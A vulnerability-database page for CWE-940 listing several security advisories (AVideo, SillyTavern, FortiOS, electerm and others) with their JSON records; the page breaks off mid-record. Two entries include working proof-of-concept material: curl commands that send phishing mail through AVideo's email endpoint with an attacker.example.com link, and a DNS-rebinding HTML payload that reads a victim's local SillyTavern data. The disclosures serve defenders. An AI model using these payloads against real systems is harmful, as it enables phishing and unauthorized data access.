Common Weakness Enumeration

CWE-940

Allowed

Improper Verification of Source of a Communication Channel

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

96 vulnerabilities reference this CWE, most recent first.

GHSA-5297-2XJQ-2CFX

Vulnerability from github – Published: 2023-11-03 06:36 – Updated: 2023-11-03 06:36
VLAI
Details

Chunghwa Telecom NOKIA G-040W-Q Firewall function has a vulnerability of input validation for ICMP redirect messages. An unauthenticated remote attacker can exploit this vulnerability by sending a crafted package to modify the network routing table, resulting in a denial of service or sensitive information leaking.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-41355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-940"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-03T06:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "Chunghwa Telecom NOKIA G-040W-Q Firewall function has a vulnerability of input validation for ICMP redirect messages. An unauthenticated remote attacker can exploit this vulnerability by sending a crafted package to modify the network routing table, resulting in a denial of service or sensitive information leaking.",
  "id": "GHSA-5297-2xjq-2cfx",
  "modified": "2023-11-03T06:36:30Z",
  "published": "2023-11-03T06:36:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41355"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-7505-a0c94-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5HGJ-7GM9-CFF5

Vulnerability from github – Published: 2026-05-05 21:56 – Updated: 2026-05-13 14:20
VLAI
Summary
AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site’s Legitimate From Address
Details

Summary

objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a "public write action" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation.

Details

Vulnerable code (objects/sendEmail.json.php):

10: $valid = Captcha::validation(@$_POST['captcha']);
11: if(User::isAdmin()){
12:     $valid = true;
13: }
...
16: if ($valid) {
...
24:     $mail = new \PHPMailer\PHPMailer\PHPMailer();
25:     setSiteSendMessage($mail);           // uses site's SMTP credentials
...
30:     $replyTo = User::getEmail_();
31:     if (empty($replyTo)) {
32:         $replyTo = $config->getContactEmail();   // <-- FALLBACK to site's own email
33:     }
34:
35:     $sendTo = $_POST['email'];            // attacker-controlled recipient
36:
37:     // if it is from contact form send the message to the siteowner and the sender is the email on the form field
38:     if (!empty($_POST['contactForm'])) {
39:         $replyTo = $_POST['email'];
40:         $sendTo  = $config->getContactEmail();
41:     }
42:
43:     if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {
44:         $mail->AddReplyTo($replyTo);       // site's address
45:         $mail->setFrom($replyTo);          // From: site's address
...
47:         $mail->addAddress($sendTo);        // TO: attacker-chosen victim
...
49:         $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
50:         $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . " ({$safeFirstName})";
51:         $mail->msgHTML($msg);
...
55:         if (!$mail->send()) { ... }

User::getEmail_() (objects/user.php:345-352): returns '' when the caller is not logged in, driving the fallback to $config->getContactEmail().

Endpoint is publicly callable. objects/functionsSecurity.php:879-918 lists sendEmail.json.php in the built-in "public write actions" CSRF/same-domain bypass:

static $builtinBypass = [
    ...
    // Public write actions
    'sendEmail.json.php',
    ...
];
if (in_array($baseName, $builtinBypass, true)) { return; }

Why existing defenses don't mitigate the abuse: - Captcha (Captcha::validation): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse. - FILTER_VALIDATE_EMAIL (line 43): validates $sendTo format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address. - htmlspecialchars on $safeEmail/$safeComment/$safeFirstName: blocks HTML injection in the rendered message but does not prevent phishing content — attacker fully controls the visible text (URL, instructions) and the perceived sender. - No rate limiting, no auth check, no association between the caller and the recipient address.

Flow summary for the abuse case (unauthenticated, no contactForm): 1. User::getEmail_() → '', so $replyTo = site's contact email (line 32) 2. $sendTo = attacker's chosen recipient (line 35) 3. contactForm branch skipped (line 38) 4. Site's SMTP sends From: <site contact> to <victim> with attacker's subject/body (lines 44-51)

Because the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.

PoC

Endpoint: POST /objects/sendEmail.json.php (also reachable via POST /sendEmail per .htaccess:201).

# 1. Obtain a session + captcha image
curl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png
# attacker manually solves the captcha -> e.g. 'abc123'

# 2. Send phishing email. Note: contactForm is OMITTED.
#    - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email
#    - $sendTo = attacker-chosen recipient
#    - setFrom($replyTo) -> From: is the site's real address
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
  --data-urlencode 'captcha=abc123' \
  --data-urlencode 'email=victim@target.com' \
  --data-urlencode 'first_name=Support Team' \
  --data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'

Expected server response:

{"error":"","success":"Message sent"}

Delivered headers at victim@target.com:

From: <site's legitimate contact email, e.g. contact@legit-videosite.com>
Reply-To: <site's legitimate contact email>
To: victim@target.com
Subject: Message From Site <SiteName> (Support Team)
Body:   <b>Email:</b> victim@target.com<br><br>Urgent: Your account will be suspended...

Contrast with the intended contactForm=1 flow (correctly routes to the site owner):

curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
  --data-urlencode 'captcha=<newcaptcha>' \
  --data-urlencode 'email=attacker@attacker.com' \
  --data-urlencode 'comment=hi' \
  --data-urlencode 'contactForm=1'
# -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)

Omitting contactForm inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.

Impact

  • Phishing with the site's real sender identity. Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.
  • Brand impersonation / account-takeover chains. Attacker-controlled subject (first_name) and body (comment) support credential-harvesting pages that appear to come from the site operator.
  • Mail-reputation damage. Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.
  • Works against any AVideo instance with SMTP configured — a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.

Recommended Fix

Collapse the endpoint to contact-owner-only behavior and require either authentication or contactForm=1. Minimal patch:

// objects/sendEmail.json.php
...
$valid = Captcha::validation(@$_POST['captcha']);
if (User::isAdmin()) {
    $valid = true;
}

// Reject the non-contactForm branch for unauthenticated callers.
// The "share with a friend" flow already requires User::isLogged()
// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.
if (empty($_POST['contactForm']) && !User::isLogged()) {
    $obj = new stdClass();
    $obj->error = __("Authentication required");
    header('Content-Type: application/json');
    echo json_encode($obj);
    exit;
}

$obj = new stdClass();
$obj->error = '';
if ($valid) {
    ...
    $replyTo = User::getEmail_();
    if (empty($replyTo)) {
        // Should no longer be reachable for arbitrary recipients.
        // Keep as defense-in-depth only for contactForm=1 path.
        $replyTo = $config->getContactEmail();
    }
    ...
}

Additional hardening: 1. Always use a dedicated no-reply@ address in setFrom(); put the caller's address only in Reply-To. Never reuse $config->getContactEmail() as the From for user-initiated messages. 2. For the logged-in "share" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP. 3. Drop the non-contactForm branch entirely if no legitimate unauthenticated UI caller remains. 4. Add a visible "user-submitted message via our site" banner to the email body so recipients can distinguish these from first-party communications.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-940"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:56:19Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`objects/sendEmail.json.php` exposes two branches depending on whether `contactForm=1` is submitted. When the parameter is omitted, the endpoint sets `$sendTo` to an attacker-supplied email and, for unauthenticated callers, uses the site\u0027s own contact email as the message `From:`/`Reply-To:`. The endpoint is explicitly allow-listed as a \"public write action\" in `objects/functionsSecurity.php` (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site\u0027s own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site\u0027s legitimate sender address, passing SPF/DKIM/DMARC for the site\u0027s domain \u2014 ideal for targeted phishing and brand impersonation.\n\n## Details\n\n**Vulnerable code (`objects/sendEmail.json.php`):**\n\n```php\n10: $valid = Captcha::validation(@$_POST[\u0027captcha\u0027]);\n11: if(User::isAdmin()){\n12:     $valid = true;\n13: }\n...\n16: if ($valid) {\n...\n24:     $mail = new \\PHPMailer\\PHPMailer\\PHPMailer();\n25:     setSiteSendMessage($mail);           // uses site\u0027s SMTP credentials\n...\n30:     $replyTo = User::getEmail_();\n31:     if (empty($replyTo)) {\n32:         $replyTo = $config-\u003egetContactEmail();   // \u003c-- FALLBACK to site\u0027s own email\n33:     }\n34:\n35:     $sendTo = $_POST[\u0027email\u0027];            // attacker-controlled recipient\n36:\n37:     // if it is from contact form send the message to the siteowner and the sender is the email on the form field\n38:     if (!empty($_POST[\u0027contactForm\u0027])) {\n39:         $replyTo = $_POST[\u0027email\u0027];\n40:         $sendTo  = $config-\u003egetContactEmail();\n41:     }\n42:\n43:     if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {\n44:         $mail-\u003eAddReplyTo($replyTo);       // site\u0027s address\n45:         $mail-\u003esetFrom($replyTo);          // From: site\u0027s address\n...\n47:         $mail-\u003eaddAddress($sendTo);        // TO: attacker-chosen victim\n...\n49:         $safeFirstName = htmlspecialchars($_POST[\u0027first_name\u0027], ENT_QUOTES, \u0027UTF-8\u0027);\n50:         $mail-\u003eSubject = \u0027Message From Site \u0027 . $config-\u003egetWebSiteTitle() . \" ({$safeFirstName})\";\n51:         $mail-\u003emsgHTML($msg);\n...\n55:         if (!$mail-\u003esend()) { ... }\n```\n\n**`User::getEmail_()` (`objects/user.php:345-352`):** returns `\u0027\u0027` when the caller is not logged in, driving the fallback to `$config-\u003egetContactEmail()`.\n\n**Endpoint is publicly callable.** `objects/functionsSecurity.php:879-918` lists `sendEmail.json.php` in the built-in \"public write actions\" CSRF/same-domain bypass:\n\n```php\nstatic $builtinBypass = [\n    ...\n    // Public write actions\n    \u0027sendEmail.json.php\u0027,\n    ...\n];\nif (in_array($baseName, $builtinBypass, true)) { return; }\n```\n\n**Why existing defenses don\u0027t mitigate the abuse:**\n- **Captcha** (`Captcha::validation`): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse.\n- **`FILTER_VALIDATE_EMAIL`** (line 43): validates `$sendTo` format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.\n- **`htmlspecialchars` on `$safeEmail`/`$safeComment`/`$safeFirstName`**: blocks HTML injection in the rendered message but does not prevent phishing content \u2014 attacker fully controls the visible text (URL, instructions) and the perceived sender.\n- **No rate limiting, no auth check, no association between the caller and the recipient address.**\n\n**Flow summary for the abuse case (unauthenticated, no `contactForm`):**\n1. `User::getEmail_()` \u2192 `\u0027\u0027`, so `$replyTo` = site\u0027s contact email (line 32)\n2. `$sendTo` = attacker\u0027s chosen recipient (line 35)\n3. `contactForm` branch skipped (line 38)\n4. Site\u0027s SMTP sends `From: \u003csite contact\u003e` to `\u003cvictim\u003e` with attacker\u0027s subject/body (lines 44-51)\n\nBecause the message is genuinely relayed by the site\u0027s mail infrastructure, SPF/DKIM/DMARC for the site\u0027s domain pass, making the phishing message indistinguishable from legitimate site mail.\n\n## PoC\n\nEndpoint: `POST /objects/sendEmail.json.php` (also reachable via `POST /sendEmail` per `.htaccess:201`).\n\n```bash\n# 1. Obtain a session + captcha image\ncurl -c cookies.txt -s \u0027http://target.example.com/captcha.php?refresh=1\u0027 -o captcha.png\n# attacker manually solves the captcha -\u003e e.g. \u0027abc123\u0027\n\n# 2. Send phishing email. Note: contactForm is OMITTED.\n#    - User::getEmail_() returns \u0027\u0027 (unauth) -\u003e $replyTo falls back to site\u0027s contact email\n#    - $sendTo = attacker-chosen recipient\n#    - setFrom($replyTo) -\u003e From: is the site\u0027s real address\ncurl -b cookies.txt -s -X POST \u0027http://target.example.com/objects/sendEmail.json.php\u0027 \\\n  --data-urlencode \u0027captcha=abc123\u0027 \\\n  --data-urlencode \u0027email=victim@target.com\u0027 \\\n  --data-urlencode \u0027first_name=Support Team\u0027 \\\n  --data-urlencode \u0027comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset\u0027\n```\n\nExpected server response:\n```json\n{\"error\":\"\",\"success\":\"Message sent\"}\n```\n\nDelivered headers at `victim@target.com`:\n```\nFrom: \u003csite\u0027s legitimate contact email, e.g. contact@legit-videosite.com\u003e\nReply-To: \u003csite\u0027s legitimate contact email\u003e\nTo: victim@target.com\nSubject: Message From Site \u003cSiteName\u003e (Support Team)\nBody:   \u003cb\u003eEmail:\u003c/b\u003e victim@target.com\u003cbr\u003e\u003cbr\u003eUrgent: Your account will be suspended...\n```\n\nContrast with the intended `contactForm=1` flow (correctly routes to the site owner):\n```bash\ncurl -b cookies.txt -s -X POST \u0027http://target.example.com/objects/sendEmail.json.php\u0027 \\\n  --data-urlencode \u0027captcha=\u003cnewcaptcha\u003e\u0027 \\\n  --data-urlencode \u0027email=attacker@attacker.com\u0027 \\\n  --data-urlencode \u0027comment=hi\u0027 \\\n  --data-urlencode \u0027contactForm=1\u0027\n# -\u003e $sendTo = site owner\u0027s contact email; $replyTo = attacker\u0027s email. (Normal contact form.)\n```\n\nOmitting `contactForm` inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site\u0027s own From: identity.\n\n## Impact\n\n- **Phishing with the site\u0027s real sender identity.** Mail originates from the site\u0027s SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.\n- **Brand impersonation / account-takeover chains.** Attacker-controlled subject (`first_name`) and body (`comment`) support credential-harvesting pages that appear to come from the site operator.\n- **Mail-reputation damage.** Repeated abuse can blacklist the site\u0027s sending IP/domain, degrading legitimate mail deliverability.\n- **Works against any AVideo instance with SMTP configured** \u2014 a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.\n\n## Recommended Fix\n\nCollapse the endpoint to contact-owner-only behavior and require either authentication or `contactForm=1`. Minimal patch:\n\n```php\n// objects/sendEmail.json.php\n...\n$valid = Captcha::validation(@$_POST[\u0027captcha\u0027]);\nif (User::isAdmin()) {\n    $valid = true;\n}\n\n// Reject the non-contactForm branch for unauthenticated callers.\n// The \"share with a friend\" flow already requires User::isLogged()\n// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.\nif (empty($_POST[\u0027contactForm\u0027]) \u0026\u0026 !User::isLogged()) {\n    $obj = new stdClass();\n    $obj-\u003eerror = __(\"Authentication required\");\n    header(\u0027Content-Type: application/json\u0027);\n    echo json_encode($obj);\n    exit;\n}\n\n$obj = new stdClass();\n$obj-\u003eerror = \u0027\u0027;\nif ($valid) {\n    ...\n    $replyTo = User::getEmail_();\n    if (empty($replyTo)) {\n        // Should no longer be reachable for arbitrary recipients.\n        // Keep as defense-in-depth only for contactForm=1 path.\n        $replyTo = $config-\u003egetContactEmail();\n    }\n    ...\n}\n```\n\nAdditional hardening:\n1. Always use a dedicated `no-reply@` address in `setFrom()`; put the caller\u0027s address only in `Reply-To`. Never reuse `$config-\u003egetContactEmail()` as the From for user-initiated messages.\n2. For the logged-in \"share\" flow, verify the caller\u0027s email has been confirmed, and rate-limit by user id and by IP.\n3. Drop the non-`contactForm` branch entirely if no legitimate unauthenticated UI caller remains.\n4. Add a visible \"user-submitted message via our site\" banner to the email body so recipients can distinguish these from first-party communications.",
  "id": "GHSA-5hgj-7gm9-cff5",
  "modified": "2026-05-13T14:20:23Z",
  "published": "2026-05-05T21:56:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43880"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site\u2019s Legitimate From Address"
}

GHSA-76XC-486M-C526

Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-05-12 15:31
VLAI
Details

An Improper Verification of Source of a Communication Channel vulnerability [CWE-940] vulnerability in Fortinet FortiOS 7.6.0 through 7.6.4, FortiOS 7.4.0 through 7.4.9, FortiOS 7.2 all versions, FortiOS 7.0 all versions may allow an authenticated user with knowledge of FSSO policy configurations to gain unauthorized access to protected network resources via crafted requests.

Severity
4.2 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-62439"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-940"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-10T16:16:09Z",
    "severity": "MODERATE"
  },
  "details": "An Improper Verification of Source of a Communication Channel vulnerability [CWE-940] vulnerability in Fortinet FortiOS 7.6.0 through 7.6.4, FortiOS 7.4.0 through 7.4.9, FortiOS 7.2 all versions, FortiOS 7.0 all versions may allow an authenticated user with knowledge of FSSO policy configurations to gain unauthorized access to protected network resources via crafted requests.",
  "id": "GHSA-76xc-486m-c526",
  "modified": "2026-05-12T15:31:14Z",
  "published": "2026-02-10T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62439"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-975644.html"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-384"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79CF-7RFQ-5Q6F

Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-08-25 03:32
VLAI
Details

Medical Practice Management System developed by Le-yan has a Remote Code Execution vulnerability. Unauthenticated remote attackers can execute arbitrary OS commamnds via a crafted HTML page.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-78685"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-940"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T03:16:58Z",
    "severity": "HIGH"
  },
  "details": "Medical Practice Management System developed by Le-yan has a Remote Code Execution vulnerability. Unauthenticated remote attackers can execute arbitrary OS commamnds via a crafted HTML page.",
  "id": "GHSA-79cf-7rfq-5q6f",
  "modified": "2026-08-25T03:32:12Z",
  "published": "2026-08-25T03:32:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78685"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-11128-8bd30-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-11127-cda76-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7CXJ-W27X-X78Q

Vulnerability from github – Published: 2025-10-06 20:18 – Updated: 2025-10-06 20:18
VLAI
Summary
SillyTavern Web Interface Vulnerable DNS Rebinding
Details

Summary

The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.

Details

DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.

PoC

  1. Host the PoC HTML file on a /rebind.html endpoint (or any other endpoint) on a web server on port 8000
  2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
  3. Replace the URL in the HTML with the returned URL on the site
  4. Go to http://[URL]:8000/rebind.html in firefox or on any mobile browser if you're using termux
  5. Check the developer tools console. It should return all of the data

Here is the PoC code:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
  while (true) {
    try {
      let res = await fetch("http://[DOMAIN HERE]:8000/");
      let text = await res.text();

      if (text.includes("Directory listing for /")) {
        console.log("Still attacker server, retrying...");
        await new Promise(r => setTimeout(r, 2000));
        continue;  // don't break yet
      }

      console.log("GOT VICTIM RESPONSE!");
      console.log(text.substring(0, 300));
      break;

    } catch (e) {
      console.log("Fetch failed, retrying...", e);
      await new Promise(r => setTimeout(r, 2000));
    }
  }
}
tryRebind();
</script>
</body>
</html>

Impact

Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.

Resolution

A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.

While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.

Resources

  • https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320
Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-940"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-06T20:18:55Z",
    "nvd_published_at": "2025-10-06T16:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.\n\n### Details\nDNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like `127.0.0.1` for a site\u0027s DNS address. This allows anybody to get remote access to anyone\u0027s SillyTavern instance **without** it being exposed, just by visiting a website. \n\n### PoC\n1. Host the PoC HTML file on a `/rebind.html` endpoint (or any other endpoint) on a web server on port 8000\n2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)\n3. Replace the URL in the HTML with the returned URL on the site\n4. Go to `http://[URL]:8000/rebind.html` in firefox or on any mobile browser if you\u0027re using termux\n5. Check the developer tools console. It should return all of the data \n\nHere is the PoC code:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n  \u003cmeta charset=\"utf-8\"\u003e\n  \u003ctitle\u003eRebind Payload\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nasync function tryRebind() {\n  while (true) {\n    try {\n      let res = await fetch(\"http://[DOMAIN HERE]:8000/\");\n      let text = await res.text();\n\n      if (text.includes(\"Directory listing for /\")) {\n        console.log(\"Still attacker server, retrying...\");\n        await new Promise(r =\u003e setTimeout(r, 2000));\n        continue;  // don\u0027t break yet\n      }\n\n      console.log(\"GOT VICTIM RESPONSE!\");\n      console.log(text.substring(0, 300));\n      break;\n\n    } catch (e) {\n      console.log(\"Fetch failed, retrying...\", e);\n      await new Promise(r =\u003e setTimeout(r, 2000));\n    }\n  }\n}\ntryRebind();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\nAttackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users\u0027 SillyTavern systems. \n\n### Resolution\nA vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable.\n\nWhile the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.\n\n- [Documentation](https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting)\n- [Security checklist](https://docs.sillytavern.app/administration/#security-checklist)\n\n### Resources\n- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320",
  "id": "GHSA-7cxj-w27x-x78q",
  "modified": "2025-10-06T20:18:55Z",
  "published": "2025-10-06T20:18:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59159"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320"
    },
    {
      "type": "WEB",
      "url": "https://docs.sillytavern.app/administration/#security-checklist"
    },
    {
      "type": "WEB",
      "url": "https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern Web Interface Vulnerable DNS Rebinding"
}

GHSA-7P5M-V798-F8VV

Vulnerability from github – Published: 2026-05-14 20:29 – Updated: 2026-07-06 15:15
VLAI
Summary
Electerm Local code through electerm's single-instance socket
Details

Impact

Local code execution without UI interaction: any same-user process can send a JSON payload to electerm's single-instance socket/pipe, causing the app to create tabs and potentially spawn attacker-controlled local processes. Affects electerm single-instance installs on the machine.

Patches

  • https://github.com/electerm/electerm/commit/0599e67069b00e376a2e962649aaad6096e63507

Workarounds

  • Do not run unsafe command

References

  • Report / credit: https://github.com/Curly-Haired-Baboon
  • Electerm releases: https://github.com/electerm/electerm/releases
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.8.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "electerm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.6"
            },
            {
